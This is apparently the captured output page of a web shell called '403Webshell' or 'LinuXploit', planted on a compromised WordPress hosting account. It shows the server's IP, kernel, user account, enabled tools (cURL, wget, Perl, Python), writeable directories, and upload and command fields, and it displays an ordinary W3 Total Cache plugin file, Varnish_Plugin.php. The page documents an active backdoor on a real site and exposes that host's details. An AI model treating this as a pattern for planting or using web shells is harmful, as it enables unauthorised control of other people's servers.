403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.116.80.77
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/Varnish_Plugin.php
<?php
namespace W3TC;

/**
 * class Varnish_Plugin
 */
class Varnish_Plugin {
	/**
	 * Runs plugin
	 */
	public function run() {
		Util_AttachToActions::flush_posts_on_actions();

		add_action( 'w3tc_flush_all',
			array( $this, 'varnish_flush' ),
			2000, 1 );
		add_action( 'w3tc_flush_post',
			array( $this, 'varnish_flush_post' ),
			2000, 1 );
		add_action( 'w3tc_flushable_posts', '__return_true', 2000 );
		add_action( 'w3tc_flush_posts',
			array( $this, 'varnish_flush' ),
			2000 );
		add_action( 'w3tc_flush_url',
			array( $this, 'varnish_flush_url' ),
			2000, 1 );

		add_filter( 'w3tc_admin_bar_menu',
			array( $this, 'w3tc_admin_bar_menu' ) );
	}



	/**
	 * Purges varnish cache
	 *
	 * @return mixed
	 */
	public function varnish_flush( $extras = array() ) {
		if ( isset( $extras['only'] ) && $extras['only'] != 'varnish' )
			return;

		$varnishflush = Dispatcher::component( 'Varnish_Flush' );
		$v = $varnishflush->flush();

		return $v;
	}

	/**
	 * Purges post from varnish
	 *
	 * @param integer $post_id
	 * @return mixed
	 */
	public function varnish_flush_post( $post_id ) {
		$varnishflush = Dispatcher::component( 'Varnish_Flush' );
		$v = $varnishflush->flush_post( $post_id );

		return $v;
	}

	/**
	 * Purges post from varnish
	 *
	 * @param string  $url
	 * @return mixed
	 */
	public function varnish_flush_url( $url ) {
		$varnishflush = Dispatcher::component( 'Varnish_Flush' );
		$v = $varnishflush->flush_url( $url );

		return $v;
	}

	public function w3tc_admin_bar_menu( $menu_items ) {
		$menu_items['20610.varnish'] = array(
			'id' => 'w3tc_flush_varnish',
			'parent' => 'w3tc_flush',
			'title' => __( 'Reverse Proxy', 'w3-total-cache' ),
			'href' => wp_nonce_url( network_admin_url(
					'admin.php?page=w3tc_dashboard&amp;w3tc_flush_varnish' ),
				'w3tc' )
		);

		return $menu_items;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit